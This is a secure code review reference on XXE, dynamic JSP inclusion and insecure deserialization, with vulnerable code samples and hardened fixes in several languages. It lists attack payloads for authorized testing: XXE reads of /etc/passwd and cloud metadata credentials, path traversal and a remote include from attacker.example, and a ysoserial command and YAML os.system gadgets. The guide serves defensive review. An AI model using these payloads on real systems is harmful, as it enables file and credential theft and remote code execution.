4.3 Code Reference — Review Parsers and Unsafe Reconstitution
XXE
From former 4-09-review-xxe.md. Guiding chapter section: 4.3 - Review Parsers and Unsafe Reconstitution § XXE.
4.9 Code Reference — Review XXE
Attack Payloads
Use these in authorized tests when the application parses attacker-controlled XML. Confirm parser hardening before relying on file read or SSRF outcomes.
Pattern 1: Classic external entity file read
<?xml version="1.0"?>
<!DOCTYPE saml [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<saml:Assertion>&xxe;</saml:Assertion>
Pattern 2: Parameter entity (blind / filtered contexts)
<!DOCTYPE response [
<!ENTITY % ext SYSTEM "file:///var/www/app/config/database.yml">
%ext;
]>
<soap:Envelope></soap:Envelope>
Pattern 3: SSRF via external entity URL
<!DOCTYPE feed [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<rss>&xxe;</rss>
Pattern 4: Billion laughs (DoS)
<!DOCTYPE invoice [
<!ENTITY a "x">
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
]>
<Invoice>&c;</Invoice>
Pattern 5: XInclude file read
<config xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///app/secrets/api-keys.xml"/>
</config>
Pattern 6: UTF-7 / encoding bypass (legacy parsers)
+ADw-!DOCTYPE saml +AFs-+AD4-
+ADw-!ENTITY xxe SYSTEM +ACI-file:///etc/passwd+ACI-+AD4-
Language-Specific Sinks and Dangerous APIs
Search for XML parser construction without secure feature flags. Default factory settings often enable DTDs and external entities.
Python
from lxml import etree
parser = etree.XMLParser(resolve_entities=True)
etree.parse(user_file) # lxml defaults may resolve entities
import xml.etree.ElementTree as ET
ET.parse(upload) # stdlib — review defusedxml usage
from defusedxml import ElementTree as SafeET
SafeET.parse(upload) # preferred — verify project uses this
Java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
Document doc = dbf.newDocumentBuilder().parse(inputStream);
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.newSAXParser().parse(inputStream, handler);
XMLInputFactory xif = XMLInputFactory.newFactory();
xif.createXMLStreamReader(reader);
C
var doc = new XmlDocument();
doc.LoadXml(userXml); // XmlDocument resolves entities by default
var reader = XmlReader.Create(stream); // without DtdProcessing.Prohibit
JavaScript (Node.js)
const libxml = require('libxmljs2');
libxml.parseXml(userXml); // noent:true enables entities
const { DOMParser } = require('@xmldom/xmldom');
new DOMParser().parseFromString(userXml, 'text/xml');
Go
xml.Unmarshal(userBytes, &v) // encoding/xml — review Decoder settings
decoder := xml.NewDecoder(bytes.NewReader(userBytes))
decoder.Strict = false
C (libxml2)
xmlReadMemory(buf, size, NULL, NULL, 0); // default may fetch external entities
xmlCtxtReadDoc(ctxt, buf, NULL, NULL, XML_PARSE_DTDLOAD);
Vulnerable Examples in Other Languages
Java
public Document parseSamlAssertion(InputStream in) throws Exception {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// defaults: external entities may be enabled depending on JDK/parser
DocumentBuilder builder = dbf.newDocumentBuilder();
return builder.parse(in);
}
public void parseSoapEnvelope(InputStream xml, InputStream xsl) throws Exception {
TransformerFactory tf = TransformerFactory.newInstance();
Transformer t = tf.newTransformer(new StreamSource(xsl));
t.transform(new StreamSource(xml), new StreamResult(System.out));
}
C
public XmlDocument ParseSamlResponse(string xml)
{
var doc = new XmlDocument();
doc.XmlResolver = new XmlUrlResolver(); // resolves external entities
doc.LoadXml(xml);
return doc;
}
public XDocument ParseRssFeed(Stream stream)
{
return XDocument.Load(stream); // default settings may fetch external DTDs
}
Go
func parseSoapEnvelope(body []byte) error {
// Third-party XML libs may expand entities if misconfigured
doc, err := libxml.Parse(body, libxml.DefaultParserOptions)
return err
}
Fix: Safer Patterns and Libraries to Use
Python
Use defusedxml or hardened lxml settings. Disable entity resolution and network access.
from defusedxml import ElementTree as ET
def parse_saml_assertion(data: bytes):
return ET.fromstring(data)
from lxml import etree
def parse_saml_hardened(data: bytes):
parser = etree.XMLParser(
resolve_entities=False,
no_network=True,
dtd_validation=False,
load_dtd=False,
)
return etree.fromstring(data, parser)
Important: Standard library xml.etree.ElementTree is safer than misconfigured lxml but defusedxml is the recommended drop-in for untrusted XML.
Java
Disable DTDs and external entities on DocumentBuilderFactory.
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
DocumentBuilder builder = dbf.newDocumentBuilder();
return builder.parse(in);
Important: Partial hardening that disables only external entities while DTDs remain allowed is insufficient when DTDs are not required. Prefer disallow-doctype-decl.
C
Use XmlReaderSettings with DTD processing prohibited.
var settings = new XmlReaderSettings
{
DtdProcessing = DtdProcessing.Prohibit,
XmlResolver = null
};
using var reader = XmlReader.Create(stream, settings);
var doc = XDocument.Load(reader);
// Legacy XmlDocument — avoid on untrusted input; if required:
var doc = new XmlDocument { XmlResolver = null };
using var reader = XmlReader.Create(stream, settings);
doc.Load(reader);
Important: Do not call XDocument.Load(string) or XDocument.Load(stream) on untrusted input without secure XmlReader settings.
Go
Default encoding/xml does not resolve external entities. Audit third-party CGo bindings.
import "encoding/xml"
func parseSamlAssertion(body []byte) (Assertion, error) {
var env Assertion
if bytes.Contains(body, []byte("<!DOCTYPE")) ||
bytes.Contains(body, []byte("<!ENTITY")) {
return env, errors.New("DOCTYPE/ENTITY not allowed")
}
err := xml.Unmarshal(body, &env)
return env, err
}
Important: Reject documents containing <!DOCTYPE or <!ENTITY before third-party parsing when policy requires zero DTD support.
Dynamic JSP inclusion
From former 4-08-review-dynamic-jsp-inclusion.md. Guiding chapter section: 4.3 - Review Parsers and Unsafe Reconstitution § Dynamic JSP inclusion.
4.8 Code Reference — Review Dynamic JSP Inclusion
Attack Payloads
Use these in authorized tests when a parameter selects which page or fragment is included. Replace PARAM with the vulnerable query or form field name.
Pattern 1: Directory traversal via include path
TAB=../../../WEB-INF/spring-security.xml
TAB=....//....//etc/passwd
TAB=..%2f..%2f..%2fWEB-INF%2fbeans.xml
Pattern 2: Absolute path under web root
TAB=/admin/reports.jsp
TAB=/WEB-INF/applicationContext.xml
TAB=/META-INF/context.xml
Pattern 3: Alternate extension and backup files
TAB=sidebar.jsp.bak
TAB=datasource.properties
TAB=../../application-prod.yml
Pattern 4: Null byte and encoding tricks (legacy parsers)
TAB=chart.jsp%00
TAB=..%252f..%252fadmin%252fusers
TAB=..%c0%af..%c0%afetc/passwd
Pattern 5: Remote / SSRF-style include (when url= is supported)
TAB=https://attacker.example/malicious.jsp
url=file:///etc/shadow
url=http://169.254.169.254/latest/meta-data/
Pattern 6: Framework view-name injection
TAB=redirect:/admin/billing
TAB=..\\..\\windows\\system32\\drivers\\etc\\hosts
view=reports/../secrets
Language-Specific Sinks and Dangerous APIs
Search for include directives and dynamic view resolution. Any path built from request parameters without an allowlist is a review priority.
Java (JSP / JSTL)
<jsp:include page="${param.page}"/>
<c:import url="${param.fragment}"/>
<%@ include file="<%= request.getParameter("tpl") %>" %>
RequestDispatcher rd = req.getRequestDispatcher(userPage); rd.include(req, resp);
Java (Spring MVC)
return userViewName; // from request parameter
ModelAndView mv = new ModelAndView(request.getParameter("view"));
return "redirect:" + userPath;
Python (Flask / Jinja2)
return render_template(f"partials/{fragment}.html")
return render_template(request.args.get("page"))
app.jinja_env.get_template(user_path).render()
C# (ASP.NET / Razor)
return PartialView(userSelectedPartial);
@Html.Partial(Model.FragmentName)
@await Html.PartialAsync(Request.Query["view"])
JavaScript (server-side rendering)
res.render(req.query.template, data);
ejs.renderFile(`views/${req.params.page}.ejs`, data);
Go
tmpl := template.Must(template.ParseFiles("templates/" + r.URL.Query().Get("page")))
http.ServeFile(w, r, filepath.Join("views", userFragment))
Vulnerable Examples in Other Languages
Java
<%@ page contentType="text/html;charset=UTF-8" %>
<jsp:include page="dashboard/${param.tab}.jsp"/>
@GetMapping("/dashboard/panel")
public String panel(@RequestParam String tab, Model model) {
model.addAttribute("metrics", loadMetrics());
return "dashboard/" + tab; // user supplies ../admin/billing
}
C
public IActionResult LoadDashboardTab(string tab)
{
return PartialView($"~/Views/Dashboard/{tab}.cshtml");
}
public IActionResult Analytics(string chart)
{
return View($"Analytics/{chart}"); // chart = "../../Web.config"
}
HTML
<%-- Dynamic include driven by request parameter --%>
<%@ include file="<%= request.getParameter("page") %>" %>
<%-- JSP include with user-controlled path segment --%>
<jsp:include page="/partials/${param.partial}.jsp"/>
<!-- SSI-style server include (when enabled) -->
<!--#include virtual="/partials/" + param('page') + ".html" -->
Fix: Safer Patterns and Libraries to Use
Python
Map known keys to fixed template paths. Never pass raw user path segments to render_template.
DASHBOARD_TABS = {
"overview": "dashboard/overview.html",
"billing": "dashboard/billing.html",
"usage": "dashboard/usage.html",
}
@app.route("/dashboard/panel")
def dashboard_panel():
key = request.args.get("tab", "overview")
template_name = DASHBOARD_TABS.get(key)
if template_name is None:
return "Unknown tab", 400
return render_template(template_name)
from werkzeug.security import safe_join
@app.route("/asset")
def asset():
name = request.args.get("file", "")
path = safe_join("/var/www/static/partials", name)
if path is None:
return "Invalid path", 400
return send_from_directory("/var/www/static/partials", os.path.basename(path))
Important: safe_join rejects paths that escape the base directory. Combine with allowlists for defense in depth.
Java
Map known keys to fixed JSP paths. Never return raw user strings as view names.
private static final Map<String, String> DASHBOARD_TABS = Map.of(
"overview", "dashboard/overview",
"billing", "dashboard/billing",
"usage", "dashboard/usage"
);
@GetMapping("/dashboard/panel")
public String panel(@RequestParam String tab, Model model) {
String viewName = DASHBOARD_TABS.get(tab);
if (viewName == null) {
throw new ResponseStatusException(HttpStatus.BAD_REQUEST);
}
model.addAttribute("metrics", loadMetrics());
return viewName;
}
Path base = Path.of("/app/views").toAbsolutePath().normalize();
Path resolved = base.resolve(name).normalize();
if (!resolved.startsWith(base)) {
throw new SecurityException("path traversal");
}
Important: Spring InternalResourceViewResolver must receive enum or constant view names only, not request parameters.
C
Use enum-driven partials instead of string view names from the client.
public enum DashboardTab { Overview, Billing, Usage }
public IActionResult LoadTab(DashboardTab tab)
{
var viewName = tab switch
{
DashboardTab.Overview => "_Overview",
DashboardTab.Billing => "_Billing",
DashboardTab.Usage => "_Usage",
_ => throw new ArgumentOutOfRangeException(nameof(tab))
};
return PartialView(viewName);
}
var fullPath = Path.GetFullPath(Path.Combine(_viewsRoot, name));
if (!fullPath.StartsWith(_viewsRoot, StringComparison.Ordinal))
return BadRequest();
Important: Precompiled Razor views must not compile arbitrary .cshtml paths from user input at runtime.
Go
Parse templates at startup from a fixed set. Allowlist lookup for runtime selection.
//go:embed templates/dashboard/*
var dashboardFS embed.FS
var dashboardTemplates = template.Must(
template.ParseFS(dashboardFS, "templates/dashboard/*.html"))
var dashboardTabs = map[string]string{
"overview": "overview.html",
"billing": "billing.html",
"usage": "usage.html",
}
func renderDashboardTab(w http.ResponseWriter, r *http.Request) {
key := r.URL.Query().Get("tab")
file, ok := dashboardTabs[key]
if !ok {
http.Error(w, "unknown tab", http.StatusBadRequest)
return
}
dashboardTemplates.ExecuteTemplate(w, file, nil)
}
Important: Avoid http.ServeFile and ParseFiles with user-influenced paths per request.
Insecure deserialization
From former 4-38-review-insecure-deserialization.md. Guiding chapter section: 4.3 - Review Parsers and Unsafe Reconstitution § Insecure deserialization.
4.38 Code Reference — Review Insecure Deserialization
Attack Payloads
Use crafted payloads only in isolated lab environments with authorization. Binary gadget chains vary by classpath and library versions.
Pattern 1: Python pickle opcode injection
Pickle opcodes can invoke os.system, eval, or arbitrary callables during pickle.loads. Tools such as pickle-assemble generate test blobs—never paste untrusted pickle bytes into production parsers.
Pattern 2: Java ysoserial gadget chains
# Common gadget-bearing libraries on classpath:
# commons-collections, commons-beanutils, spring, groovy
# Generate with ysoserial for authorized pentest:
java -jar ysoserial.jar CommonsCollections6 'id' | base64
Pattern 3: Jackson default typing
["com.example.Evil", {"cmd": "id"}]
{"@class": "java.lang.ProcessBuilder", "command": ["id"]}
Pattern 4: YAML type tags (Python)
!!python/object/apply:os.system ["id"]
!!python/object/new:subprocess.check_output [["id"]]
Pattern 5: .NET TypeNameHandling
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName": "Start",
"ObjectInstance": { "$type": "System.Diagnostics.Process, System" }
}
Pattern 6: Ruby Marshal load from cache
# Redis session blob — attacker replaces value with crafted Marshal stream
session = Marshal.load(redis.get("sess:#{sid}"))
Pattern 7: PHP phar deserialization
// phar:// wrapper triggers metadata deserialization on file_exists()
file_exists('phar://uploads/evil.phar/b.txt');
Language-Specific Sinks and Dangerous APIs
Python
pickle.loads(data)
pickle.load(file)
yaml.load(data) # Loader=yaml.Loader or unsafe default
yaml.unsafe_load(data)
marshal.loads(data)
shelve.open(user_path)
jsonpickle.decode(data)
Also review: torch.load, numpy.load(..., allow_pickle=True), dill.loads, Redis/cache storing pickled objects.
Java
ObjectInputStream.readObject()
ObjectInputStream.readUnshared()
XMLDecoder.readObject()
XStream.fromXML(userXml);
new ObjectMapper().enableDefaultTyping(...);
JSON.parseObject(json, Object.class); // Fastjson autoType
Serializable.readObject in RMI/JMX endpoints
MyBatis, Hibernate, and Spring remoting with Java serialization on the wire.
C
BinaryFormatter.Deserialize(stream);
SoapFormatter.Deserialize(stream);
LosFormatter.Deserialize(...);
JsonConvert.DeserializeObject<T>(json, new JsonSerializerSettings {
TypeNameHandling = TypeNameHandling.All
});
DataContractSerializer with known types expanded from user input
JavaScript
node-serialize.unserialize(userInput);
// eval(JSON.parse) patterns that revive functions
require('serialize-javascript') with untrusted revive
Go
gob.NewDecoder(r).Decode(&v) // from untrusted client
encoding/gob on network input without schema
json.Unmarshal into map[string]interface{} then type assertions on @type fields
PHP
unserialize($_COOKIE['session']);
unserialize(file_get_contents('php://input'));
Vulnerable Examples in Other Languages
Java
public User loadSession(byte[] blob) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(blob));
return (User) ois.readObject(); // attacker-controlled bytes
}
public Object importState(InputStream body) throws Exception {
ObjectInputStream ois = new ObjectInputStream(body);
return ois.readObject();
}
// Jackson default typing on untrusted JSON
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
User user = mapper.readValue(jsonFromClient, User.class);
C
public object LoadCache(string base64)
{
var bytes = Convert.FromBase64String(base64);
var formatter = new BinaryFormatter();
using var ms = new MemoryStream(bytes);
return formatter.Deserialize(ms);
}
public T DeserializeJson<T>(string json)
{
return JsonConvert.DeserializeObject<T>(json, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.All // polymorphic gadget risk
});
}
Go
// Accepting gob from clients without schema validation
func decodeProfile(r io.Reader) (*Profile, error) {
dec := gob.NewDecoder(r)
var p Profile
return &p, dec.Decode(&p)
}
func restoreSession(cookie string) (map[string]interface{}, error) {
data, _ := base64.StdEncoding.DecodeString(cookie)
var state map[string]interface{}
return state, json.Unmarshal(data, &state) // no signature or type allowlist
}
Fix: Safer Patterns and Libraries to Use
Python
Parse JSON with schema validation. Never unpickle untrusted bytes.
import json
from pydantic import BaseModel, ValidationError
class ImportState(BaseModel):
version: int
items: list[str]
@app.route("/import", methods=["POST"])
def import_state():
try:
data = json.loads(request.get_data())
state = ImportState.model_validate(data)
except (json.JSONDecodeError, ValidationError):
abort(400)
return process(state)
@app.route("/config", methods=["POST"])
def load_config():
config = yaml.safe_load(request.get_data())
apply_config(config)
Store session state server-side with opaque IDs instead of pickled cookies. See yaml.safe_load and pydantic.
Java
Map JSON to explicit DTOs. Disable default typing. Use ObjectInputFilter when legacy serialization cannot be removed.
import com.google.gson.Gson;
import com.google.gson.JsonSyntaxException;
public User parseUser(String jsonInput) {
Gson gson = new Gson();
try {
return gson.fromJson(jsonInput, User.class);
} catch (JsonSyntaxException e) {
throw new IllegalArgumentException("Invalid JSON input");
}
}
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"com.example.User;!*");
ois.setObjectInputFilter(filter);
See JEP 290: Filter Incoming Serialization Data and Gson user guide.
C
Deserialize into known types with System.Text.Json. Avoid BinaryFormatter.
public ImportState LoadState(string json)
{
return JsonSerializer.Deserialize<ImportState>(json, new JsonSerializerOptions
{
PropertyNameCaseInsensitive = false,
AllowTrailingCommas = false
}) ?? throw new JsonException("Invalid payload");
}
In Newtonsoft.Json, set TypeNameHandling = TypeNameHandling.None on external input. See System.Text.Json overview.
Go
Unmarshal JSON into structs with unknown field rejection and size limits.
func decodeProfile(r io.Reader) (*Profile, error) {
dec := json.NewDecoder(io.LimitReader(r, 1<<20))
dec.DisallowUnknownFields()
var p Profile
if err := dec.Decode(&p); err != nil {
return nil, err
}
return &p, nil
}
Prefer protobuf or msgpack with explicit message types instead of gob from clients.